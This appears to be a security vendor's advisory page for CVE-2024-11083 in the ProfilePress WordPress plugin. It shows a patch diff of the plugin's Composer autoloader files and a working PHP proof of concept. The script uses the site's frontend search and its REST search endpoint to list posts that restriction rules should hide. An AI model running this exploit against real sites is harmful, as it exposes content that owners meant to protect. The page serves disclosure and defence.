     private $vendorDir;

     // PSR-4
     /**
-     * @var array<string, array<string, int>>
+     * @var array[]
+     * @psalm-var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array<string, list<string>>
+     * @var array[]
+     * @psalm-var array<string, array<int, string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var list<string>
+     * @var array[]
+     * @psalm-var array<string, string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * List of PSR-0 prefixes
-     *
-     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
-     *
-     * @var array<string, array<string, list<string>>>
+     * @var array[]
+     * @psalm-var array<string, array<string, string[]>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var list<string>
+     * @var array[]
+     * @psalm-var array<string, string>
      */
     private $fallbackDirsPsr0 = array();

@@ -80,7 +78,8 @@
     private $useIncludePath = false;

     /**
-     * @var array<string, string>
+     * @var string[]
+     * @psalm-var array<string, string>
      */
     private $classMap = array();

@@ -88,29 +87,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var array<string, bool>
+     * @var bool[]
+     * @psalm-var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var string|null */
+    /** @var ?string */
     private $apcuPrefix;

     /**
-     * @var array<string, self>
+     * @var self[]
      */
     private static $registeredLoaders = array();

     /**
-     * @param string|null $vendorDir
+     * @param ?string $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
-        self::initializeIncludeClosure();
     }

     /**
-     * @return array<string, list<string>>
+     * @return string[]
      */
     public function getPrefixes()
     {
@@ -122,7 +121,8 @@
     }

     /**
-     * @return array<string, list<string>>
+     * @return array[]
+     * @psalm-return array<string, array<int, string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,7 +130,8 @@
     }

     /**
-     * @return list<string>
+     * @return array[]
+     * @psalm-return array<string, string>
      */
     public function getFallbackDirs()
     {
@@ -138,7 +139,8 @@
     }

     /**
-     * @return list<string>
+     * @return array[]
+     * @psalm-return array<string, string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -146,7 +148,8 @@
     }

     /**
-     * @return array<string, string> Array of classname => path
+     * @return string[] Array of classname => path
+     * @psalm-return array<string, string>
      */
     public function getClassMap()
     {
@@ -154,7 +157,8 @@
     }

     /**
-     * @param array<string, string> $classMap Class to filename map
+     * @param string[] $classMap Class to filename map
+     * @psalm-param array<string, string> $classMap
      *
      * @return void
      */
@@ -171,25 +175,24 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string              $prefix  The prefix
-     * @param list<string>|string $paths   The PSR-0 root directories
-     * @param bool                $prepend Whether to prepend the directories
+     * @param string          $prefix  The prefix
+     * @param string[]|string $paths   The PSR-0 root directories
+     * @param bool            $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
-        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    $paths,
+                    (array) $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    $paths
+                    (array) $paths
                 );
             }

@@ -198,19 +201,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = $paths;
+            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                $paths,
+                (array) $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                $paths
+                (array) $paths
             );
         }
     }
@@ -219,9 +222,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string              $prefix  The prefix/namespace, with trailing '\'
-     * @param list<string>|string $paths   The PSR-4 base directories
-     * @param bool                $prepend Whether to prepend the directories
+     * @param string          $prefix  The prefix/namespace, with trailing '\'
+     * @param string[]|string $paths   The PSR-4 base directories
+     * @param bool            $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -229,18 +232,17 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
-        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    $paths,
+                    (array) $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    $paths
+                    (array) $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -250,18 +252,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = $paths;
+            $this->prefixDirsPsr4[$prefix] = (array) $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                $paths,
+                (array) $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                $paths
+                (array) $paths
             );
         }
     }
@@ -270,8 +272,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string              $prefix The prefix
-     * @param list<string>|string $paths  The PSR-0 base directories
+     * @param string          $prefix The prefix
+     * @param string[]|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -288,8 +290,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string              $prefix The prefix/namespace, with trailing '\'
-     * @param list<string>|string $paths  The PSR-4 base directories
+     * @param string          $prefix The prefix/namespace, with trailing '\'
+     * @param string[]|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -423,8 +425,7 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            $includeFile = self::$includeFile;
-            $includeFile($file);
+            includeFile($file);

             return true;
         }
@@ -475,9 +476,9 @@
     }

     /**
-     * Returns the currently registered loaders keyed by their corresponding vendor directories.
+     * Returns the currently registered loaders indexed by their corresponding vendor directories.
      *
-     * @return array<string, self>
+     * @return self[]
      */
     public static function getRegisteredLoaders()
     {
@@ -554,26 +555,18 @@

         return false;
     }
+}

-    /**
-     * @return void
-     */
-    private static function initializeIncludeClosure()
-    {
-        if (self::$includeFile !== null) {
-            return;
-        }
-
-        /**
-         * Scope isolated include.
-         *
-         * Prevents access to $this/self from included files.
-         *
-         * @param  string $file
-         * @return void
-         */
-        self::$includeFile = Closure::bind(static function($file) {
-            include $file;
-        }, null, null);
-    }
+/**
+ * Scope isolated include.
+ *
+ * Prevents access to $this/self from included files.
+ *
+ * @param  string $file
+ * @return void
+ * @private
+ */
+function includeFile($file)
+{
+    include $file;
 }
--- a/wp-user-avatar/third-party/vendor/composer/InstalledVersions.php
+++ b/wp-user-avatar/third-party/vendor/composer/InstalledVersions.php
@@ -19,14 +19,12 @@
  * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
  *
  * To require its presence, you can require `composer-runtime-api ^2.0`
- *
- * @final
  */
 class InstalledVersions
 {
     /**
      * @var mixed[]|null
-     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
+     * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null
      */
     private static $installed;
     /**
@@ -35,7 +33,7 @@
     private static $canGetVendors;
     /**
      * @var array[]
-     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
      */
     private static $installedByVendor = array();
     /**
@@ -87,7 +85,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
+                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
             }
         }
         return false;
@@ -106,7 +104,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints((string) $constraint);
+        $constraint = $parser->parseConstraints($constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));
         return $provided->matches($constraint);
     }
@@ -209,7 +207,7 @@
     }
     /**
      * @return array
-     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
+     * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}
      */
     public static function getRootPackage()
     {
@@ -221,7 +219,7 @@
      *
      * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
      * @return array[]
-     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
+     * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}
      */
     public static function getRawData()
     {
@@ -241,7 +239,7 @@
      * Returns the raw data of all installed.php which are currently loaded for custom implementations
      *
      * @return array[]
-     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
      */
     public static function getAllRawData()
     {
@@ -263,7 +261,7 @@
      * @param  array[] $data A vendor/composer/installed.php data set
      * @return void
      *
-     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
+     * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>} $data
      */
     public static function reload($data)
     {
@@ -272,7 +270,7 @@
     }
     /**
      * @return array[]
-     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
      */
     private static function getInstalled()
     {
@@ -285,9 +283,7 @@
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir . '/composer/installed.php')) {
-                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
-                    $required = require $vendorDir . '/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir . '/composer/installed.php';
                     if (null === self::$installed && strtr($vendorDir . '/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
                         self::$installed = $installed[count($installed) - 1];
                     }
@@ -298,16 +294,12 @@
             // only require the installed.php file if this file is loaded from its dumped location,
             // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
             if (substr(__DIR__, -8, 1) !== 'C') {
-                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
-                $required = require __DIR__ . '/installed.php';
-                self::$installed = $required;
+                self::$installed = require __DIR__ . '/installed.php';
             } else {
                 self::$installed = array();
             }
         }
-        if (self::$installed !== array()) {
-            $installed[] = self::$installed;
-        }
+        $installed[] = self::$installed;
         return $installed;
     }
 }
--- a/wp-user-avatar/third-party/vendor/composer/autoload_classmap.php
+++ b/wp-user-avatar/third-party/vendor/composer/autoload_classmap.php
@@ -2,7 +2,7 @@

 // autoload_classmap.php @generated by Composer

-$vendorDir = dirname(__DIR__);
+$vendorDir = dirname(dirname(__FILE__));
 $baseDir = dirname($vendorDir);

 return array(
@@ -187,7 +187,7 @@
     'ProfilePressVendor\Sabberworm\CSS\Value\ValueList' => $vendorDir . '/sabberworm/php-css-parser/src/Value/ValueList.php',
     'ProfilePressVendor\Stripe\Account' => $vendorDir . '/stripe/stripe-php/lib/Account.php',
     'ProfilePressVendor\Stripe\AccountLink' => $vendorDir . '/stripe/stripe-php/lib/AccountLink.php',
-    'ProfilePressVendor\Stripe\AlipayAccount' => $vendorDir . '/stripe/stripe-php/lib/AlipayAccount.php',
+    'ProfilePressVendor\Stripe\AccountSession' => $vendorDir . '/stripe/stripe-php/lib/AccountSession.php',
     'ProfilePressVendor\Stripe\ApiOperations\All' => $vendorDir . '/stripe/stripe-php/lib/ApiOperations/All.php',
     'ProfilePressVendor\Stripe\ApiOperations\Create' => $vendorDir . '/stripe/stripe-php/lib/ApiOperations/Create.php',
     'ProfilePressVendor\Stripe\ApiOperations\Delete' => $vendorDir . '/stripe/stripe-php/lib/ApiOperations/Delete.php',
@@ -195,13 +195,16 @@
     'ProfilePressVendor\Stripe\ApiOperations\Request' => $vendorDir . '/stripe/stripe-php/lib/ApiOperations/Request.php',
     'ProfilePressVendor\Stripe\ApiOperations\Retrieve' => $vendorDir . '/stripe/stripe-php/lib/ApiOperations/Retrieve.php',
     'ProfilePressVendor\Stripe\ApiOperations\Search' => $vendorDir . '/stripe/stripe-php/lib/ApiOperations/Search.php',
+    'ProfilePressVendor\Stripe\ApiOperations\SingletonRetrieve' => $vendorDir . '/stripe/stripe-php/lib/ApiOperations/SingletonRetrieve.php',
     'ProfilePressVendor\Stripe\ApiOperations\Update' => $vendorDir . '/stripe/stripe-php/lib/ApiOperations/Update.php',
     'ProfilePressVendor\Stripe\ApiRequestor' => $vendorDir . '/stripe/stripe-php/lib/ApiRequestor.php',
     'ProfilePressVendor\Stripe\ApiResource' => $vendorDir . '/stripe/stripe-php/lib/ApiResource.php',
     'ProfilePressVendor\Stripe\ApiResponse' => $vendorDir . '/stripe/stripe-php/lib/ApiResponse.php',
     'ProfilePressVendor\Stripe\ApplePayDomain' => $vendorDir . '/stripe/stripe-php/lib/ApplePayDomain.php',
+    'ProfilePressVendor\Stripe\Application' => $vendorDir . '/stripe/stripe-php/lib/Application.php',
     'ProfilePressVendor\Stripe\ApplicationFee' => $vendorDir . '/stripe/stripe-php/lib/ApplicationFee.php',
     'ProfilePressVendor\Stripe\ApplicationFeeRefund' => $vendorDir . '/stripe/stripe-php/lib/ApplicationFeeRefund.php',
+    'ProfilePressVendor\Stripe\Apps\Secret' => $vendorDir . '/stripe/stripe-php/lib/Apps/Secret.php',
     'ProfilePressVendor\Stripe\Balance' => $vendorDir . '/stripe/stripe-php/lib/Balance.php',
     'ProfilePressVendor\Stripe\BalanceTransaction' => $vendorDir . '/stripe/stripe-php/lib/BalanceTransaction.php',
     'ProfilePressVendor\Stripe\BankAccount' => $vendorDir . '/stripe/stripe-php/lib/BankAccount.php',
@@ -209,25 +212,46 @@
     'ProfilePressVendor\Stripe\BaseStripeClientInterface' => $vendorDir . '/stripe/stripe-php/lib/BaseStripeClientInterface.php',
     'ProfilePressVendor\Stripe\BillingPortal\Configuration' => $vendorDir . '/stripe/stripe-php/lib/BillingPortal/Configuration.php',
     'ProfilePressVendor\Stripe\BillingPortal\Session' => $vendorDir . '/stripe/stripe-php/lib/BillingPortal/Session.php',
-    'ProfilePressVendor\Stripe\BitcoinReceiver' => $vendorDir . '/stripe/stripe-php/lib/BitcoinReceiver.php',
-    'ProfilePressVendor\Stripe\BitcoinTransaction' => $vendorDir . '/stripe/stripe-php/lib/BitcoinTransaction.php',
+    'ProfilePressVendor\Stripe\Billing\Alert' => $vendorDir . '/stripe/stripe-php/lib/Billing/Alert.php',
+    'ProfilePressVendor\Stripe\Billing\AlertTriggered' => $vendorDir . '/stripe/stripe-php/lib/Billing/AlertTriggered.php',
+    'ProfilePressVendor\Stripe\Billing\CreditBalanceSummary' => $vendorDir . '/stripe/stripe-php/lib/Billing/CreditBalanceSummary.php',
+    'ProfilePressVendor\Stripe\Billing\CreditBalanceTransaction' => $vendorDir . '/stripe/stripe-php/lib/Billing/CreditBalanceTransaction.php',
+    'ProfilePressVendor\Stripe\Billing\CreditGrant' => $vendorDir . '/stripe/stripe-php/lib/Billing/CreditGrant.php',
+    'ProfilePressVendor\Stripe\Billing\Meter' => $vendorDir . '/stripe/stripe-php/lib/Billing/Meter.php',
+    'ProfilePressVendor\Stripe\Billing\MeterEvent' => $vendorDir . '/stripe/stripe-php/lib/Billing/MeterEvent.php',
+    'ProfilePressVendor\Stripe\Billing\MeterEventAdjustment' => $vendorDir . '/stripe/stripe-php/lib/Billing/MeterEventAdjustment.php',
+    'ProfilePressVendor\Stripe\Billing\MeterEventSummary' => $vendorDir . '/stripe/stripe-php/lib/Billing/MeterEventSummary.php',
     'ProfilePressVendor\Stripe\Capability' => $vendorDir . '/stripe/stripe-php/lib/Capability.php',
     'ProfilePressVendor\Stripe\Card' => $vendorDir . '/stripe/stripe-php/lib/Card.php',
     'ProfilePressVendor\Stripe\CashBalance' => $vendorDir . '/stripe/stripe-php/lib/CashBalance.php',
     'ProfilePressVendor\Stripe\Charge' => $vendorDir . '/stripe/stripe-php/lib/Charge.php',
     'ProfilePressVendor\Stripe\Checkout\Session' => $vendorDir . '/stripe/stripe-php/lib/Checkout/Session.php',
+    'ProfilePressVendor\Stripe\Climate\Order' => $vendorDir . '/stripe/stripe-php/lib/Climate/Order.php',
+    'ProfilePressVendor\Stripe\Climate\Product' => $vendorDir . '/stripe/stripe-php/lib/Climate/Product.php',
+    'ProfilePressVendor\Stripe\Climate\Supplier' => $vendorDir . '/stripe/stripe-php/lib/Climate/Supplier.php',
     'ProfilePressVendor\Stripe\Collection' => $vendorDir . '/stripe/stripe-php/lib/Collection.php',
+    'ProfilePressVendor\Stripe\ConfirmationToken' => $vendorDir . '/stripe/stripe-php/lib/ConfirmationToken.php',
+    'ProfilePressVendor\Stripe\ConnectCollectionTransfer' => $vendorDir . '/stripe/stripe-php/lib/ConnectCollectionTransfer.php',
     'ProfilePressVendor\Stripe\CountrySpec' => $vendorDir . '/stripe/stripe-php/lib/CountrySpec.php',
     'ProfilePressVendor\Stripe\Coupon' => $vendorDir . '/stripe/stripe-php/lib/Coupon.php',
     'ProfilePressVendor\Stripe\CreditNote' => $vendorDir . '/stripe/stripe-php/lib/CreditNote.php',
     'ProfilePressVendor\Stripe\CreditNoteLineItem' => $vendorDir . '/stripe/stripe-php/lib/CreditNoteLineItem.php',
     'ProfilePressVendor\Stripe\Customer' => $vendorDir . '/stripe/stripe-php/lib/Customer.php',
     'ProfilePressVendor\Stripe\CustomerBalanceTransaction' => $vendorDir . '/stripe/stripe-php/lib/CustomerBalanceTransaction.php',
+    'ProfilePressVendor\Stripe\CustomerCashBalanceTransaction' => $vendorDir . '/stripe/stripe-php/lib/CustomerCashBalanceTransaction.php',
+    'ProfilePressVendor\Stripe\CustomerSession' => $vendorDir . '/stripe/stripe-php/lib/CustomerSession.php',
     'ProfilePressVendor\Stripe\Discount' => $vendorDir . '/stripe/stripe-php/lib/Discount.php',
     'ProfilePressVendor\Stripe\Dispute' => $vendorDir . '/stripe/stripe-php/lib/Dispute.php',
+    'ProfilePressVendor\Stripe\Entitlements\ActiveEntitlement' => $vendorDir . '/stripe/stripe-php/lib/Entitlements/ActiveEntitlement.php',
+    'ProfilePressVendor\Stripe\Entitlements\ActiveEntitlementSummary' => $vendorDir . '/stripe/stripe-php/lib/Entitlements/ActiveEntitlementSummary.php',
+    'ProfilePressVendor\Stripe\Entitlements\Feature' => $vendorDir . '/stripe/stripe-php/lib/Entitlements/Feature.php',
     'ProfilePressVendor\Stripe\EphemeralKey' => $vendorDir . '/stripe/stripe-php/lib/EphemeralKey.php',
     'ProfilePressVendor\Stripe\ErrorObject' => $vendorDir . '/stripe/stripe-php/lib/ErrorObject.php',
     'ProfilePressVendor\Stripe\Event' => $vendorDir . '/stripe/stripe-php/lib/Event.php',
+    'ProfilePressVendor\Stripe\EventData\V1BillingMeterErrorReportTriggeredEventData' => $vendorDir . '/stripe/stripe-php/lib/EventData/V1BillingMeterErrorReportTriggeredEventData.php',
+    'ProfilePressVendor\Stripe\EventData\V1BillingMeterNoMeterFoundEventData' => $vendorDir . '/stripe/stripe-php/lib/EventData/V1BillingMeterNoMeterFoundEventData.php',
+    'ProfilePressVendor\Stripe\Events\V1BillingMeterErrorReportTriggeredEvent' => $vendorDir . '/stripe/stripe-php/lib/Events/V1BillingMeterErrorReportTriggeredEvent.php',
+    'ProfilePressVendor\Stripe\Events\V1BillingMeterNoMeterFoundEvent' => $vendorDir . '/stripe/stripe-php/lib/Events/V1BillingMeterNoMeterFoundEvent.php',
     'ProfilePressVendor\Stripe\Exception\ApiConnectionException' => $vendorDir . '/stripe/stripe-php/lib/Exception/ApiConnectionException.php',
     'ProfilePressVendor

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-11083 - ProfilePress <= 4.15.18 - Unauthenticated Content Restriction Bypass to Sensitive Information Exposure

// Target site running ProfilePress <= 4.15.18 with at least one active content protection rule.
$target_url = 'https://example.com';

// Keyword that appears in content the plugin is supposed to hide.
$keyword = 'internal';

// --- Step 1: Frontend search probe ---
$front_url = rtrim($target_url, '/') . '/?s=' . urlencode($keyword);
$ch = curl_init($front_url);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_USERAGENT      => 'AtomicEdge-PoC/1.0',
    CURLOPT_TIMEOUT        => 15,
]);
$front_body = curl_exec($ch);
$front_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Frontend search HTTP {$front_code} for keyword '{$keyword}'n";
// On a vulnerable install, the response body lists links to posts whose
// restriction rules should hide them from an unauthenticated visitor.
$hrefs = [];
if (is_string($front_body) && preg_match_all('/<a[^>]+href="([^"]+)"[^>]*>(.*?)</a>/is', $front_body, $m)) {
    foreach ($m[1] as $i => $href) {
        $title = trim(strip_tags($m[2][$i]));
        if ($title !== '' && stripos($href, '/?s=') === false) {
            $hrefs[] = ['url' => $href, 'title' => $title];
        }
    }
}
echo '[+] Frontend candidates: ' . count($hrefs) . "n";
foreach (array_slice($hrefs, 0, 20) as $h) {
    echo "    - {$h['title']} => {$h['url']}n";
}

// --- Step 2: REST API search probe (bypasses HTML parsing) ---
$rest_url = rtrim($target_url, '/') . '/wp-json/wp/v2/search?search=' . urlencode($keyword) . '&per_page=50';
$ch = curl_init($rest_url);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER     => ['Accept: application/json'],
    CURLOPT_USERAGENT      => 'AtomicEdge-PoC/1.0',
    CURLOPT_TIMEOUT        => 15,
]);
$rest_body = curl_exec($ch);
$rest_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "n[*] REST search HTTP {$rest_code} via {$rest_url}n";
$results = json_decode((string)$rest_body, true);
if (is_array($results)) {
    echo '[+] REST results: ' . count($results) . "n";
    foreach ($results as $r) {
        $id    = isset($r['id'])       ? $r['id']       : '?';
        $title = isset($r['title'])    ? (is_array($r['title']) ? ($r['title']['rendered'] ?? '') : $r['title']) : '';
        $url   = isset($r['url'])      ? $r['url']      : '';
        $type  = isset($r['subtype'])  ? $r['subtype']  : '';
        echo "    - [{$type}#{$id}] {$title} => {$url}n";
    }
} else {
    echo "[-] No JSON array returned (plugin may be patched or search disabled).n";
}

echo "n[i] On a patched install (>= 4.15.19), SearchAndAPI strips restricted IDs and types from both responses.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.